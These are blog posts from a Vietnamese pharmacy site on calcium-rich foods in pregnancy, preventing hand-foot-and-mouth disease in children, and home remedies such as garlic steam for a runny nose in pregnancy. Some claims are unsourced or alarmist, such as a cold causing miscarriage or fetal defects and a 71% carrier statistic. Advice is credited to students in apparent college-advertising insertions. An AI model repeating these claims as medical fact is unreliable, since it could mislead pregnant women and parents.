Trên đây là một số loại thức ăn chứa nhiều canxi tốt cho mẹ bầu, các mẹ nên tham khảo bổ sung cho bữa ăn hàng ngày của mình. Tuy nhiên, Dược sĩ theo học Cao đẳng Dược nói, bên cạnh bổ sung thực phẩm các mẹ cũng cần thăm khám để được bác sĩ tư vấn chỉ định canxi dạng viên nén để cung cấp đủ lượng canxi cần thiết cho cơ thể.

Nguồn theo Y tế Việt Nam

Bài viết Nhóm thực phẩm giàu canxi tốt cho sức khỏe mẹ bầu đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Những phương pháp phòng tay chân miệng cho trẻ hiệu quả

admin — Fri, 23 Mar 2018 03:57:11 +0000

Tìm hiểu nguyên nhân gây bệnh chân tay miệng

Bệnh tay chân miệng là bệnh truyền nhiễm cấp tính nguyên nhân bệnh tay chân miệng ở trẻ thường do vi rút thuộc nhóm Enterovirus gây ra. Bệnh có cơ chế lây lan từ người này qua người khác thông qua đường tiêu hóa hoặc tiếp xúc với nước bọt, dịch tiết mũi họng, các bọng nước vỡ của bệnh nhân, độ tuổi hay mắc nhất là trẻ dưới 5 tuổi.

Do đặc tính lây lan lên bệnh dễ bùng phát thành đại dịch. Theo thống kê sơ bộ trên kênh tuyển sinh Y dược chính quy có đến 71% người lành mang vi rút nhưng bệnh lại chưa bộc phát ra ngoài, lúc này những người xung quanh rất dễ bị lây nếu vệ sinh cá nhân không đảm bảo.

Một số dấu hiệu thường thấy của bệnh chân tay miệng

Những dấu hiệu tay chân miệng điển hình của bệnh là sốt, đau họng, tổn thương niêm mạc miệng và trên da có những nốt phỏng nước thường thấy ở lòng bàn tay, lòng bàn chân, đầu gối, mông. Đa phần các ca bệnh đều diễn biến nhẹ.

Một số trường hợp đặc biệt bệnh diễn biến nặng dẫn tới các biến chứng nguy hiểm như viêm não – màng não, viêm cơ tim, phù phổi cấp thậm chí là tử vong nên cần nhận biết sớm và điều trị kịp thời.

5 biện pháp phòng tay chân miệng cho bé

Mức độ nguy hiểm của bệnh tay chân miệng là không thể phủ nhận. Do đó nếu muốn phòng bệnh cho con, để trẻ không có nguy cơ mắc bệnh nên thực hiện theo 5 cách sau đây

Thường xuyên rửa tay bằng xà phòng nhiều lần trong ngày

Theo giảng viên dạy Văn bằng 2 Cao đẳng Dược, không chỉ có trẻ em mà cả người lớn cũng cần thực hiện hành vi vệ sinh này thường xuyên, đặc biệt trước khi sơ chế thức ăn, khi ăn/cho trẻ ăn, trước khi bế ẵm trẻ, sau khi đi vệ sinh, sau khi thay tã và vệ sinh cho trẻ

Thực hiện tốt vệ sinh ăn uống

Đảm bảo ăn chín uống sôi, vật dụng ăn uống luôn rửa sạch sẽ sau mỗi lần sử dụng. Đảm bảo nguồn nước trong sinh hoạt hằng ngày phải sạch; không mớm thức ăn cho trẻ; không cho trẻ ăn bốc, mút tay, ngậm mút đồ chơi; không cho trẻ dùng chung khăn ăn, khăn tay, vật dụng ăn uống như cốc, bát, đĩa, thìa, đồ chơi chưa được khử trùng.

Lau sạch đồ chơi mỗi lần trẻ tiếp xúc

Thường xuyên lau sạch các bề mặt, dụng cụ tiếp xúc hàng ngày như đồ chơi, dụng cụ học tập, tay nắm cửa, tay vịn cầu thang, mặt bàn/ghế, sàn nhà bằng xà phòng hoặc các chất tẩy rửa thông thường.

Không lại gần những người mắc bệnh

Tuyệt đối không nên cho trẻ tiếp xúc với người bệnh hoặc nghi ngờ mắc bệnh. Có nhiều trường hợp trẻ có dấu hiệu mắc bệnh vẫn cố tình đưa trẻ đến lớp vì rất nhiều lý do, không có người trông, con đã đỡ để đưa trẻ đến trường. Trong khi đó, theo nhận định sinh viên Trung cấp Y với đặc tính dễ lây lan của bệnh, là nguyên do gây ra nhiều ca mắc tay chân miệng trong trường học.

Bởi tay chân miệng lây qua dịch tiết mũi họng, các bọng nước vỡ, rồi phân của trẻ mắc bệnh khi không được vệ sinh đúng cách, dính vào tay chưa được rửa vệ sinh rồi lại cầm nắm đồ vật, chăm người khác khiến bệnh dễ dàng lây lan.

Sử dụng nhà tiêu hợp vệ sinh

Phân và các chất thải của bệnh nhân phải được thu gom và đổ vào nhà tiêu hợp vệ sinh.

Khi phát hiện trẻ có dấu hiệu nghi ngờ mắc bệnh cần đưa trẻ đi khám hoặc thông báo ngay cho cơ quan y tế gần nhất.

Nguồn theo Y tế Việt Nam

Bài viết Những phương pháp phòng tay chân miệng cho trẻ hiệu quả đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Bí quyết loại bỏ căn bệnh sổ mũi cho mẹ bầu

admin — Fri, 23 Mar 2018 03:51:18 +0000

Khi mang thai cơ thể sẽ có rất nhiều sự thay đổi, đây cũng chính là lúc hệ miễn dịch ở mẹ bầu có sự suy giảm nhanh chóng và đặc biệt là căn bệnh sổ mũi. Theo Dược sĩ Phương Lan từng tốt nghiệp Trung cấp Hộ sinh, bệnh sổ mũi tưởng chừng đơn giản nhưng nhưng có thể sẽ có những biến chứng vô cùng nguy hiểm như sảy thai, sinh non, dị tật ở thai nhi,… Dưới đây là một số cách điều trị bệnh sổ mũi dành cho mẹ bầu.

Cân bằng chế độ sinh hoạt cho bản thân

Để có một cơ thể khỏe mạnh mẹ bầu cần xây dựng một chế độ ăn uống hợp lý, luyện tập thể dục thể thao thường xuyên để giúp cho cơ thể khỏe mạnh. Bên cạnh đó, có một chế độ sinh hoạt hợp lý sẽ giúp cơ thể tuần hoàn máu tốt hơn sẽ làm cho mũi của bạn thoải mái hơn khi luyện tập. Theo lời khuyên của một Trình Dược viên, mẹ bầu cần tránh luyện tập thể thao ngoài trời khi đang khô hanh vì sẽ càng khiến mũi khó chịu hơn. Ngoài ra, cũng cần tránh những mùi kích thích vào mũi như mùi sơn, nước hoa, khói thuốc,… Khi đi ngủ mẹ bầu có thể kê cao gối để giảm bớt chứng sổ mũi khó chịu này.

Tỏi điều trị bệnh sổ mũi hiệu quả

Tỏi được biết đến với công dụng chữa rất nhiều bệnh bởi trong tỏi có chứa rất nhiều các chất kháng sinh giữ cho cơ thể không bị xâm nhập bởi vi khuẩn và virus. Chính vì vậy, tỏi được rất nhiều bà nội trợ sử dụng trong chế biến món ăn hàng ngày nhằm tăng cường sức đề kháng của cơ thể.

Đối với mẹ bầu, khi sử dụng tỏi để điều trị bệnh sổ mũi có thể xông hơi với tỏi bằng cách đun một lít nước sôi rồi thả vào 3-4 tép tỏi đã bằm nát vào. Khi hơi nước tỏi bay lên bạn hít từ từ để hơi nước kèm tinh dầu trong tỏi sẽ thông mũi và khiến chứng sổ mũi hắt hơi biến mất. Cần chú ý khi sử dụng cách này bởi chúng có thể gây ra nhiều tác dụng phụ cho mẹ bầu như tiêu chảy, buồn nôn, nóng dạ dày, rát cổ họng hoặc có thể khiến người lâng lâng.

Dùng canh gà để điều trị bệnh sổ mũi

Canh gà không những tốt cho cơ thể phụ nữ mang thai mà còn có tác dụng điều trị bệnh sổ mũi, từ một đồ án nghiên cứu khoa học của sinh viên khoa Cao đẳng Y Dược Hà Nội, các dưỡng chất trong thịt gà giúp làm tăng sức đề kháng của cơ thể nhanh chóng. Đặc biệt, nước canh gà có hiệu quả trong việc giảm các triệu chứng về đường hô hấp, cảm cúm.

Muối ăn hỗ trợ điều trị bệnh sổ mũi ở mẹ bầu

Muối được coi như một loại gia vị vừa dễ kiếm, rẻ tiền có công dụng điều trị bệnh rất hiệu quả, là loại chất xúc miệng tuyệt vời và có thể giảm ho. Để ngăn ngừa bệnh sổ mũi ở mẹ bầu, bạn có thể dùng nước ấm và thêm một chút nghệ để tăng hiệu quả chống viêm nhiễm. Ngoài ra, để điều trị bệnh viêm xoang bạn cũng có thể pha muối với một chút nước ấm để rửa mũi hằng ngày, nếu bạn rửa thường xuyên có thể điều trị bệnh viêm xoang hiệu quả.

Trên đây là một số phương pháp loại bỏ bệnh viêm xoang mà các Điều dưỡng viên từng học Liên thông Cao đẳng Điều dưỡng áp dụng và chia sẻ cho nhiều người thân xung quanh và nhận được những phản hồi tích cực. Hy vọng những cách điều trị trên có thể giúp cho mẹ bầu nhanh chóng khỏi bệnh sổ mũi.

Bài viết Bí quyết loại bỏ căn bệnh sổ mũi cho mẹ bầu đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.